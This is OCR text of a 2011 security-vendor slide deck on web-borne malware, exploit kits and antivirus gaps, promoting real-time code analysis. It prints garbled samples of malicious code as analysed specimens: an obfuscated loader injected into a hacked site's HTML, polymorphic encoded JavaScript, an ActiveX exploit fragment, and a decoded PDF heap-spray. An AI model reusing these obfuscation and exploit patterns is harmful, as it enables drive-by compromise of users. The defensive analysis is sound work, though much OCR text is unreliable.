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Web Statistics
World Malware Map

Where is most malicious code being hosted?

F o (

COUNTRY PERCENTAGE

® United States 32.4
® China 12.7
® Germany 7.6
® United Kingdom 5.2

Russian Federation 5.0
® France 3.8
® Italy 2.9
® Brazil 2.3

The Netherlands 2.2

Canada 2.0

Geo-location of Malicious Code Hosted on Servers in the First Half of 2011
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Top 10 Most Popular Exploit Kits

In addition to tracking the most-observed vulnerabilities in the wild, we track the
most popular exploit kits observed in the wild:

EXPLOIT/TOOLKITS
Neosploit 7 ™6

Phoenix 2 -
Blackhole - -
Incognito - -
Eleonore 1 N2
Bleeding Life - -
SEO Sploit 8 ™M

CrimePack - -

e R e BN R ol Bl B B

Intoxicated - -
10. Siberia - -

' : Source: M86 Security Lab Report 1H2011
- MBS
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Cybercrime Has Eclipsed the Security Market

Billions

$200
$150

$100

Annual Cost
of Cybercrime

S50

$338 /| $37B
Security Market

2004 2005 2006 2007 2008 2009 2010 2011 2012

Sources: Detica report, 2011; OECD, IDC, 2004, 2010, FBI/IC3 cybercrime statistics, 2011, FBI 2005 7 SECURITY




Cwikker & o ddit

Web 2.0: Creating a Fertile Ground for Attacks
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Web is the Primary Attack Vector

Malware attacks come
0)
[ 92% from the Web

J [Result:

Organizations hit by
Web attack in 2010
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~
Attacks dead in less
than 24 hours
/
Companies hit by A
0}
50% targeted attacks -
Malware comes from A
0
84% legitimate sites
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Malware Gap
Left by Legacy Malware Technologies

60% Malware Gap

What Has Changed?

* Malware has become more:
* Dynamic

* Prolific

* Stealth

* Targeted

Signature-base AV 400/ Covered by Legacy
(0 Security Technologies
URL Filtering

Reputation

2011

Source: M86 Security Labs Testing, 2010
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URL Filtering

« 15,000 live & active URL's run through a leading URL filtering

list as they were received

— 2.8% categorized as Spyware/Malware
— 33.8% categorized as legitimate sites

— 63.4% un-categorized

Malware/Spyware
3%

Un-Categorized
63%

Legimate Sites
34%
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AV Scanning

« 15,000 live & active URL'’s run through three leading AV
Scanners as they were received

— 39% deemed malicious
— 61% deemed safe

Blocked
39%

Not Blocked
61%

SECURITY




AV Scanning Scalability

 How much longer can this technology be effective?

Total Number of Unique Samples in AV-Test.org's Malware Collection
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How a Legitimate Site is Hacked to Serve Malware
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The Victim

e Site launched in 1995
e Based in the US

* Never before served
malicious code

« Deals with a very
respectable topic

« Site infected for only a
short period of time
(Days)
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The Infection

</try
<Lr>
<td align="center" valign="middle” bgcolor="#930000" class="finePrint"»><a href="http:/ /www.designsbytracy.com" target="_klan
by<br>
DezignshbyIracy.coms/a></cd>
<td align="center" valign="middle” bgcolor="#930000" class="finePrintwhite"»><p>Copvright
&copy;s 2005 by Disabled Sports USA.&nbsp; A1l rights reserved.<br>
Content may not be reprinted in part of or in whole without written permission
from DS/USA. «</pr»</td»
</try
</table>
<map name="Map">
<area shape="rect" coords="154,12,203,32"
<area shape="rect" coords="226,11,287,30"
<area shape="rect" coords="311,11,472,239"

href="index.html" alt="Link to Home page">
href="dsusazitemap.html" alt="5ite Map">
href="VisnalImpairment.html™ alt="Link to Visual Impairment Info">»

<area shape="rect" coords="495,11,571,29" href="mailto:information@dsu=za.org” alt="Contact U=z - email link">
</ map>
</BODY >
€!'—- InstanceEnd --></HITML>
SCript>

rar Vg='a06d04937ccdcT754e%ebelcf3e37dal309%acBe3c68746d6c3e0a3c62656479323c6469762069643
bar HJN = '';

rar g = Vg.slice ( 38, 14236 ):
For ( K = 38 ; K < 14236 ; K += 2 )

4223eT83c2f6469763e0a3¢T736372

HIN += '%' + Vg.slice ( K, K + 2 };

Hocument .write (unescape (HJN) ) ;
/acript>
<V——z2d313qwoing2-->

Obfuscated Code
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e Site launched in 1995
e Based in the US

* Never before served
malicious code

« Deals with a very
respectable topic

« Site infected for only a
short period of time
(Days)
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function HD2ZC ()
var t = new Arrav('{
Dan2l'+'06l17116y"', °
delfa'+'921d2fc33", !

{0006F"'+"'033-0000-0000-CO00-000000"+"000046} ",
{6414"'+'512B-B978-451D-A0DE-FCFDF3 "'+ "3E833C} ",

AV Scanners, Web Reputation...What will work???

'{BD96C'"+'556-6523-11"+'D
'{0006"+'FO3LA-0000-0000-C0O00
"{TFEB"+'TF6e3-FO06F-4331-8426

BEDO&eCE'+'56-6543-11"+"'DO-9838-00C04FC"+"28E30} ",

'{BADIB"+"'599-1DB3-44f"'+"

0aFCDID'+'BOTE6} "', '{
25FSAl'+"1FARISY,
var v
var i

639F "+ " T25F-1B2D-48"+"31-A9FD-87484"+"T6E2010} ",
{E3C'+'CCDDF-CA28-4%3eb-B"+"'050-6C0T7C962"+"4T6EB} ",
new hrray(null, null,

null);
null) ;

A t-I:"t-l’:Cllﬂ},-’":l :
ol.click:

var o2 = ol.clonelNode():
cl.clearhttribute=s () ;
ol=mull; CollectGarbagel):
for(var ==0;x<al.length;x+f)
ol2.click:;

al[x] .sxrc=sl;

Any decent Web security solution should block these commands

Newer, advanced AV Scanners using heuristics should catch the de-obfuscated
commands

How about Web Crawling techniques?

SECURITY




Real-Time Code Analysis

Block Resoon Thia page (or part of it) has been blocked because it attempls o exploit an application level vulnerabiity,
Transacton [0 & B8 188 ME0FE S0 TO0H4ETE,

Content Se JaB41

Darectson Incoming

File name Cache . asos

Security Rule Name Block Application Level Vulnerabiites

Behavior Profile (Script) Behavior Profile (Script)
Vulnerability Anti.dote Profile Vulnerability Anti.dote Profile

Cloned DOM Object Malformed Reference Vulnerability Cloned DOM Object Malformed Reference Vulnerability
Office Web Components Active Script Execution Yulnerability Office Web Components Active Script Execution Yulnerability
IE SelfExecuting HTML Arbitrary Code Execution Yulnerability IE Self-Executing HTML Arbitrary Code Execution Yulnerability
IE Shell, Application Object Script Execution Yulnerahility IE Shell, Application Object Script Execution Yulnerahility
IE RDS ActiveX Yulnerability IE RDS ActiveX Yulnerability
RDS Cross Zone Scripting Yulnerability RDS Cross Zone Scripting Yulnerability
IE WMIScriptiiils createObject vulnerability IE WMIScriptiiils createObject vulnerability

* Rules are part of the default rule-set
* No updates would have been required to catch this infected website

SECURITY




How Dynamic Malicious Code is Executed
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Dynamic Malicious Code

<htmlr<body><span id='gg' style='visgibility: hidden'></spanr<div id='aa' style='visibility:
hidden'></div><div id='bh' =style='wisibility: hidden'></divr<div id='dd' style='visibility:
hidden'></divr<script language='javascript'>furction uukbhipovph, aaxr , bhhg ,xgedu){var ltzf =
"Uaifer {(var i = 0 ; 1 « povph.length; ++i) ltezf += bhbg{xgedu *(aaxr * povph.charCodebt(i)))
Hzekurn ltzf;}wvar povph =
:'"\x?S\x58\x5f\x58\x5f\x58\x5f\x58\x5f\x23\x34\x2?\x?5\x25\x3d\x30\x36\x68\x65\x6e\x58\x5f\x23\x34\
B 27 TS HE T HIC k3T RS LY X300 HEEN KE5, K6eh K55 xEE K23 K3 KTV KTV kI Eh xE T k3D k2L K68 K65 kB k5B X5
B £ 23 X340 K2 TS xTEY k320 k39 k2o 3k x5 4% X654 X651 x 62\ x50, K56 X2 X3 KETY XTI K2 K2 1Y X22Y X3 2Y K6TY KETY
XEeY 5B xEEY H23 X34 w2V X TEN NI A H2eh R2\ R3eh 38k x68Y X655, xEeh ¥EEY ¥EE N2 NI N2 TV R TEL H3ak x2 4 x2 1Y x3
2N MBS, KBS, KA HEE Y HEE 23 M3 M\ M2 T T x2 0N 2B K3V K3 PV HE TV HAE Y HAS Y AR\ HEE\ HEEY k23 k34 H2 T K TEY K2 BY
X2SY X2 T X223 T 6B XEEh xeeh OB HOEV K23\ K3V K2 TV xS I E Y X3 T 20 X2 4 RE T nEE N HES Hee\ K8 KO X2

html><hody><span id='gyq' =style='visibility: hidden'></spansr<div id='aa' style='wvisibility:
Shidden' ></divr<div id='bbh' style='visibility: hidden' ></divr<div id='dd' style='wisibility:
hidden'></divr<zcript language='javascript'>function skbhn{oxwr, erlgt , fzwo ,llxv){var sruy = ""
;for (var i = 0 ; i <« oxwr.length; ++i) sruy += fzwo{llxv “{erlgt * oxwr.charCodelAt{i))):return

Sruy; jvar oxXvr =

yoxheh K93 x9N K93 kI K93 K9, K93 k94, xedh xEL xec ke xETh Reeh xedh xE0h xad xaeh xadh x93V k944 xedh xLLY
Heoh xbe' xedh xeah xE24 RE2N HE0% Had xaeh xash x93 194 kel KL xech xbel xE2Y xE4h Hed) #fc xedh xadh xaeh xabh 1o
Ih 94t wedh ifh wech wheh xeeh xeh xEot et xeTi xadt xash xash u93 x4, xeSh xE5) Hech xhet e 6l X9 ESh xEhh xadh
waeh xabh x93 x99 xedh xELf xech xhel xfoh xefh xfah x£4Y x£3% xa3dl xaeh xash x93 x99 xe8h x££ xech xbe', xe9h x£2Y Ke|
LY xee’ xefh xadl xash xash x93% 1944 xedh LY ke xheh ke xedh xech xE0Y a3 xae xash x93 1944 xed\ kLY e xhet
Heah XE8h xedh xE7h xadh Xae’ Hash ¥934 x4 xedh xEL ke xhe X6, xedh xe T XE5h xad' Xae’, #asy ¥93 4\ x4, xedh x £ LY xe
chxbel x£8% xe8h x ) xe8h xe 9t xadl xae’ xahl X934 k94 xeBh xEEh xech xhe xe TV NED xE3h xe st xEdl ka3l xas’ xasl x93

khtml><bod?><span id='gq' style='wisgibility: hidden':></span><div id='aa' style='visibility:
hidden'></div><div id='hbh' style='visibility: hidden'></divrz<div id='dd' stcyle='wvisibility:
hidden'></divr<script language='javascript'>function cwnci{vzbju, meapr , rwwtw ,dsbex){var zduwr
1= "rrfor (var i = 0 ; i1 < webju.length; ++i) zduwr += rmvtw{dsbzx *{meapr * wvebju.charCodelt{i
1)) ireturn zduwr; }var vibju =
™orbe HO3h x9N K93 x4 KI3 HOA X\ 9 xed i xee xhe HE L xe e HE 1 xE 1N REDY a3 Kaeh xahh X33, 194 xedh
&l - T wec whel nfol xES RE1 wef xfdh xadl xash xash x93 x94Y xe8) xEf) xect xhel x£3h xfal x5 xe 6l xE6h xadl xash g
8 -, 05 k04 xe B XEE) Keo xheh xEd) XE2Y ke 6% xEhY ka3 xael xa5h x93, x94) xedh xEE) xec) xhel KE2h xed| KEDL KEh' xa3)
Hae'h ®xash x93h x99 xedh 1EL Hec xhe xebt xe Ty xE5Y x£ 2% xe 2t xaldl ke xash x93 k94 xedh x££ xech xbeh xefh HE5 He
A'1c\xe4\xef\xa3\xae\an\x93\x94\xe8\xff\xec\xbe\xee\xe4\xfd\xfd\xa3\xae\xa5\x93\x94\xe8\xff\xec\xhe\
»xfE\xe%\fo\xed\an\xae\an\xQS\xSQ\xeB\xff\xec\xbe\xeB\xef\fo\xeg\an\xae\an\x93\x94\xe8\xff\xe
Bl - <, x£6% xfal XEE) k2D xadh xash xash k034 k94 xeb) x££} xech xhe’ xTh x£64 x£0) xfo) x£9Y xadh xas) xas x93 x24

html><body><span id='gq' =style='visibility: hidden':></span><div id='aa' style='wvisibility:
o hidden'></divr<div id='bh' style='vigibility: hidden':></divr<div id='dd' stvle='visibility:
jhidden'></divs<script language='javascript'>Fenction ngon{tghzo, hjju , lrny ,vwun){var efxk = "
$8 :for (var i = 0 ; i < tghzo.length; ++1i) efxk += lrny(vwun “(hjju * tghzo.charCodeit(i))) ;rekturn
jcfxk:}var toghzo =
B 0a kb 7 kb0 kb7 xbOY xb7h xhOY b7, xb0h o kb’ ko8 x0ah xd2) xd8) xd2) xd9% k87 xBah k814 kb7 kb0 Koo xdh'
foEh 98 A5 Xd9h Hodh kel xdbhh x87h x8ah xE 1Y xb 7, kb0 e e, ok ko8 198 xdd) xo0h xdSh 2d2h k87 xE8ah x5 1% xb, xK
Ohvxoct xdbhy oSt x9ah o2t xdeh 1d8 xd7 ST xSah xS L kb T wh0h e mdlt xedh 19ah xdlh mdeh xdd 2dEh xddh 287 xSah
®E1Y kb7 xh0h xect 2dhh kel x9ah xe 3t xd2h o0 xdeh, X877 x8al xE 14 xb 7 xhi0y xoo xdbh xeEh X998 A8 xd 7T xdsh xdsh xg

ThREa, XELY ®h T kb0 koot xdkh xedh 298 Hd5Y xodh xdEh xd5 87 x8ah k81 xb T xbOY koo, Adlh o8l x9ah xd2h xdES xd el

Specifically designed to
thwart signatures

Example of different
malicious code
dynamically created at
run-time for various
client requests

Each sample would
need a different static
signature to match

These samples are used
only once
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Effectiveness of AV Scanners

« Submitted sample to Virus total,
a service that runs all major AV
products

« 6 out of 41 vendors deemed the
sample as malicious at time of
testing

.;.ngp)j

Antivirus
a~squared
AhnLab-V3
Antivir
Antiy-AVL
Authentius
Avast

AVG
BitDefender
CAT-QuickHeal
ClamAV
Comodo
DrWeb

eSafe
eTrusc-Vet
F-Prot
F-Secure
Fortinet
Ghata
Ikarus
Jiangsin
K7AntiVirus
Kaspersky
HcAfee
NcAfee+Artemis
NMcAfee-GU-Edition
Microsoft
NOD32
Norman
nProtect
Panda
PCTools
Prevx
Rising
Sophos
Sunbelt
Symantec
TheHacker
TrendMicro
VBA32
ViRobot

VirusBuster

Current status: finished

Result 6/41 (14.63%)

Version
4.5.0.50
5.0.0.2
8.2.1.170
2.0.3.7
5.2.0.5
4.8.1351.0
9.0.0.730
7.2

10.00
0.96.0.0-git
4013
5.0.1.12222
7.0.17.0
35.2.7315
4.5.1.85
9.0.15370.0
4.0.14.0

19
T3.1.1.80.0
13.0.900
7.10.979
7.0.0.125
5898

5898

6.8.5
1.5406

4884
6.04.08
2009.1.8.0
10.0.2.2
7.0.3.5

3.0
22.34,01.03
4.50.0

5690
20091.2.0.41
6.5.1.5.202
9.120.0.1004
3.12.12.2
2010.2.19.21%4
5.0.27.0

Last Update
2010.02.21
2010.02.20
2010.02.19
2010.02.19
2010.02.20
2010.02.21
2010.02.21
2010.02.21
2010.02.19
2010.02.21
2010.02.21
2010.02.21
2010.02.21
2010.02.20
2010.02.20
2010.02.19
2010.02.21
2010.02.21
2010.02.21
2010.02.21
2010.02.20
2010.02.17
2010.02.20
2010.02.20
2010.02.19
2010.02.21
2010.02.21
2010.02.21
2010.02.21
2010.02.21
2010.02.21
2010.02.21
2010.02.11
2010.02.21
2010.02.20
2010.02.21
2010.02.21
2010.02.21
2010.02.21
2010.02.19
2010.02.21

Prot results

S:Downloadexr-LD

Downloadexr.Agent

J3:Dovmloader-LD

Exploit.Js. Agent, ax)

~CG

@©



Real-Time Code Analysis

« RTCA able to de-obfuscate and analyze the intent of each
sample as it was being downloaded by the user [and analyze

the intent]

« Demonstrates the importance of real-time scanning of the
actual content users are accessing, when they access it

e De-obfuscated code
>

e Default rule that
blocks the exploit

if(dfec='[obiect] ') {
For{imnt in wvogzz){
Erv{

dfec=pew LctiveXChiject{'snpvw.3napshot Viewer Control.1'd:
var oakve=vgzz[imnt]

dfec. Zoor=0;

dfec.ShowlavigationEuttons=false;
dfec.AllowContextMenu=Ffalse:

dfec.3napshotPath='http:/

dfec.CompressedPath=0akve

dfec.PrintSnapshot{) ;

'803£35dhedfe84cSc V405 6aladfcas’ 2

Behavior Profile (Script)
Vulnerability Anti.dete Prefile
Micrescft Access Snapshot Viewer Adtive® Control Vulnersbility

Micresoft Visuzl Studio {Msmask 32,00} Active Vulnersbiliy

Mzsked Edit Control Memeory Corruption Vulnersbility (VEzsic)

1E Self-Executing HTML Arbitrary Code Beecution Yulnersbility
Defzult Profile - Script Behavior

Filz Writs

gty




Exploiting Known Vulnerabilities
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Zero-Day Vulnerabilities

« Significant because of the “Window of Vulnerability” that leaves
a user completely unprotected from an attack exploiting this
vulnerability

« Chart below shows user is totally unprotected for almost to 40%
of the time during the latter half of 2009

« This assumes users are constantly updating!

Users i 1 U=sers ' | Lizers | Window of
Vulnerable E i‘u‘ulnerahle: ! vulnerable i Vulnerability
L 1 < ] | % 1

CWE-2010-02489 9 Days

CWE-2009-4324 30 Days
CWE-2009-3672 19 Days
CWVE-2009-2493 8 Days
CWVE-2009-1862 10 Days

CVE-2009-2496 27 Days

CVE-2008-0015 30 Days




Top 15 Most-observed Vulnerabilities

During the first half of 2011, anonymous feedback on observed threats from M86 filtering installations showed most threats were
based on the following vulnerabilities:

- | VULNERABILITY DISCLOSED PATCHED  2H2010  +/-

1. Microsoft Internet Explorer RDS ActiveX 2006 2006 1 -
2. Office Web Components Active Script Execution 2002 2002 2 -
3. Adobe Reader util.printf() JavaScript Func() Stack Overflow 2008 2008 7 14
4. Adobe Acrobat and Adobe Reader CollectEmaillinfo 2007 2008 5 11
5. Adobe Reader media.newPlayer 2009 2009 10 15
6. Adobe Reader Getlcon JavaScript Method Buffer Overflow 2009 2009 6 -
7. Internet Explorer Table Style Invalid Attributes 2010 2010 - -
8. Adobe Reader javascript this.spell.customDictionaryOpen 2009 2009 - -
9. Adobe Reader getAnnots() Javascript Function Remote Code Execution | 2009 2009 - -
10. Java WebStart Arbitrary Command Line Injection 2010 2010 15 5
11. Java Plugin Web Start Parameter 2010 2010 - -
12. Microsoft Internet Explorer Deleted Object Event Handling 2010 2010 8 14
13. Real Player IERPCtl Remote Code Execution 2007 2007 4 19
14. Microsoft Video Streaming (DirectShow) ActiveX 2007 2009 3 111
15. Microsoft IE STYLE Object Invalid Pointer Reference 2009 2009 14 11

Source: M86 Security Lab Report 1H2011
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The Vulnerability

Adobe Reader/Acrobat "Doc.media.newPlayer()" Memory Corruption

Secunia Advisory:
Release Date:
Last Update:
Popularity:

Critical:

Impact:
Where:

Solution Status:

Software:

Description:

SA37690
2009-12-15
2009-12-16

6,490 views

Secunia

1] 1y Secung

OTrm

Extremely critical

System access

From remote
Wendor Workaround

Adobe Acrobat 3D 3.x

Adobe Acrobat 8 Professional
Adobe Acrobat 8.x

Adobe Acrobat 9.x

Adobe Reader 8.x

Adobe Reader 9.x

& vulnerability has been reported in Adobe Reader and Acrobat, which can be exploited by
malicious people to compromise a user's system.

The vulnerability is caused due to an unspecified error in the implementation of the
"Doc.media.newPlayer()" JavaScript method. This can be exploited to corrupt memory and
execute arbitrary code via a specially crafted POF file.

MOTE: This vulnerability is currently being actively exploited.

On Tuesday 15
December 2009, the
security community
becomes aware of a
new zero-day Adobe
vulnerability that is
being exploited in the
wild
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£ VISA card 4XXX XXXX XXXX XXXX: possible fraudulent transaction  [= |[B][X]
Th e I n feCt I O n . File Edit Wew Tools Message Help -g'f
From: VISh
Date: Tuesday, December 15, 2009 7:14 AM
To: F Blimon o
Subject:  YISA card $XEE KEE XEEE BEEx: possible Fraudulent transaction

VISA

Email Alert Redeved [on oooooo@mail, com) stermined that Wour card

Card 43000 W00 0000 000C (b prabect yaur presate infermatsan, gart of the card numbar i heddan with ¥'ai r Securlt\y.' reasnns the

arefully review electronic

‘transactions.php?
nstructions: A5418971226324724533467 266581

download and carefully resdew electronic repam for your WISA carm

Card Card Statement Opening pdf. pdf @

‘fou have chosen to open

o

004 000( 300001000 e ] pdf.pdf

which is a: PDF Complete Document
Fram: http:/faudiodr?.com

What should Firefox do with this File?

IT v losl yaur WS card vou can conl@sl ue or voud bank - we can halp vou wh @ Qpen with PDF Wista {default)

() Save File
Further information

[] Do this automatically For files like this from now on.

ol Can Eall s wor ket or stolen card details, and we'll arTange for your card (o be

Thia cption tor card replacement and emargency cash displacemant will depend an
1GGLUSE YO Carg

I Ok, ] [ Cancel

To assist our customer sardca, please have the folowing information on hard:

® The nama of tha bank or ocrganisation that Esued your card

& Thia IUMATY WTara 1T WES 1S58 00 ¥l

& The bype of Yics card |
S |

# The Lé-digit number on the card - it i vital that you have a recard of ths number, kept s=parste

- fram your card SECURITY




Kaspersky Yes

McAfee Yes
Sophos Yes
Symantec Yes
Trend Yes

spl.pdf

wuaultup.exe

Kaspersky No Kaspersky No g
McAfee No McAfee No AdobeUpdate.exe
Sophos No Sophos No

Symantec Yes Symantec Yes

Trend Yes Trend Yes

tlbsrch.exe
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Day 3 (18 Dec 09): Detection by Conventional AV

Kaspersky No

McAfee No
Sophos No
Symantec Yes
Trend Yes

No
No
No
Yes
Yes

Kaspersky
McAfee
Sophos
Symantec
Trend

acropdf32.dll

Kaspersky No

McAfee No
Sophos No
Symantec No
Trend No

detoured.dll
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Real-Time Content Analysis

« Looking at how the real-time code analysis and behavioral
analysis techniques scan the malicious PDF file shows us
how these attacks are detected before they are even used by
the attackers.

« Below is the encoded JavaScript stream from the infected
PDF file:

ST ream

=OuRMo >GEIAG=_' OFEe— *%EE°  u”

OoyO0~vey Gmpd-,, " ; OESy ; wERN? | H-fag_¢< Tog i =0-< o Tnvoi BRSO f+<

no” e s p—nEEEn OEEEPEES | 41

ERRAO0 =100%[ ,21_ . DR 07p<F 01 " T<neHf¢ie z,0\og*WpA~ EEEn<MyHg Spl Lreitl<s /. PIBE*>; [TA~AR~ =" 1-P"1:]
0 »4u 00no]e3517C - <EW25

(BN EEr -~ EmcEE: 68~ 2+ 0L°E8tN) SEEMND, 70% B33 EAEN, © ~ EEl0 e

&qf e ;  EnL0; Te LanT-01 ) nekEf=-7 " 27 ; CEEEE= BR3= | EIR3F  BiNY0ERN N

SFOEMPR=hEERE p 19, B0y 70 FDWENSS. - )6 <e \nn, @@ ] MEE .

k]10p’DO0, - 3£ FOp’ 2° EF0’ BEES 0 @R 7 E®0po - 0A7; 91+# (- EIEOC @8
end=tream

endob]

111112 0 okj<</Filter/FlateDecode/Length 178>>stream

x0=02AF8), 0BEEDr<021/0 MeER,f{ TG0 Th [ B8, »~ "«?0&cofh « ERE8H~ 0 «gD &, RS ESR " oI vBRfw — CT>A|  wnEil0-k Wi
KX
endstream

pR=01 "« 8 On"{ 1000 ERd+, FE)-T 1 H#31<®

‘ MBEE
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Real-Time Content Analysis - cont.

 Real-time decoding reveals embedded JavaScript

vlerati?=new Array():

var fzfpaB = "ARGHODOARGHOPOT.replace (/ARG /g, "3u');

var imkujn? = "Z54EBZ758BZ8B3CZ357V4IX3THE0AFSEZTA0BIX3E2KI33F5249C9ZAD41ZDE3EZXF36Z14BEZS3828274E
fzfpaB=une=scape (fzfpad) ;

imkujnZ=unescape (imkujn?) ;endstream

endobij

111112 0 obj<</Filter/FlateDecode/Length 178>>stream

while (fzfpafd.length <= 0x8000) {fzfpabB+=fzfpal;}

fzfpaB=fzfpad.substri(0d, 0=5000 - imkujn?. length)

for (gofmeq=0;gofmeq<xsbrgm;gofmeq++ pad + imkuijn2;}

if (xsbrgm) {dwdsfl () ;dwdsfl () ;try (fthis. medla newPlayer(null) D catchie) {i1dwdsfl(); lendstream
endobij

“trailer<</Boot 1 0 R /Size 11>>

« This was detected using the behavioral capabilities of the engine as
the actual vulnerability itself is not net discovered

Incoming
Incoming

Behavior Profile (Script)
Default Profile - Script Behavior
Generic Shellcode detection

Suspected Malicious String Content

Rule i
Block
Blocked

« Default behavioral rule that detects the intent of the script

J MEE
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The Advantages of Real-Time Code Analysis
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N\

7
0

g

~

\ 4

<5

WEB PAGE

Real-time Code Analysis

Policy
Business

Logic

Rule 1
Rule 2

Allow Block

xdl

Dynamic Page Analysis:

Entrapper

Rule 3

Ny

)

vxy

[

Static Page Analysis:

Compare Profile With
Real-time Code Analysis

Security Policy

bl
oy Tooke @b =

w[

' h 4
Repair

Y

@/
m WEB PAGE

===

12°52

1

Page rendered as it would in a

browser, cross object attacks
Active Page Content detected, defined by vulnerability
Analyzed Individually

&4 —. ==
|__

|
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Combination of Technologies

1. Anti-virus scanning minimizes latency
because it blocks known malware fast.

2. URL filtering quickly ensures user
productivity by monitoring and
managing where users go online

3. Real-time code analysis stops new
and dynamic Web-based threats that

typically aren’t detected by the anti-virus
or URL filtering methods

Questions?

New Labs report now available at:-
www.m86security.com

Effective
Security Strategy:
Multi-Layered
Approach

SECURITY



http://www.m86security.com/

How Are Your Current Defences? A Simple Test

If you want to find out if you are part of the problem:

Run M86 proxy comparator

Proxy 1

(Proxy 3

EMBG Proxy Comparator

M-

Proxy Comparator qﬁ

Because all Proxies are not the same.

¥ Include in Scan €. Verify
Name: |M36 Secure Web Gateway
Address;port {172.23.20.150:8080
Block Page Contains: Irhe page you've been trying to access was blocked.
Scan Status: Scan Complete
Total URLs Scanned 10000
URLs Blocked: 672
Time to Scan: 08:50.06
[V Include in Scan 00 verify |
Name: {Proxy 3
Addressiport 172.23.20,107:8080
Block Page Contains: [Access to this file has been denied
Scan Status: Scan Complete
Total URLs Scanned 10000
URLSs Blocked:
Time to Scan: 08:50.26

=] E3

o

— “Proxy 2
v Include in Scan 0, Verify I
HName: fProxy 1
Address:port [172.23.20.106:8080
Block Page Contains: |Access to this file has been denied
Scan Status: Scan Complete
Total URLs Scanned 10000
URLs Blocked: 28
Time to Scan: 08:50.56
| (Proxy 4
[V Include in Scan ) verify I
Name: fProxy 4
Address:port [172.23.20.108:8080
Block Page Contains: [Access to this file has been denied
Scan Status: Scan Complete
Total URLs Scanned 10000
URLS Blocked: 7
Time to Scan: 08:50.41

l Test completed. Run a Report to see results.

i settings

o | wopen | @swe | ave | > | R

Copyright @ 2010 M36 Security Inc. All Rights Reserved.

SECURITY
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M86 Overview

« Leading Vendor of Web and Emaill
Security Solutions

 The industry’s only proactive
Web malware provider

ADVANCED MALWARE
PROTECTION

CONTENT
SECURITY
AND
MANAGEMENT

« Over 25,000 global customers
and 26 million users

COMPLIANCE
AND
REPORTING

« Gartner Visionary for Web and
Email Security

WEB 2.0 AND
PRODUCTIVITY
CONTROL

 SC Magazine Innovator 2010
* Top quartile of 2010 Inc. 5000

HYBRIp / cLOVD
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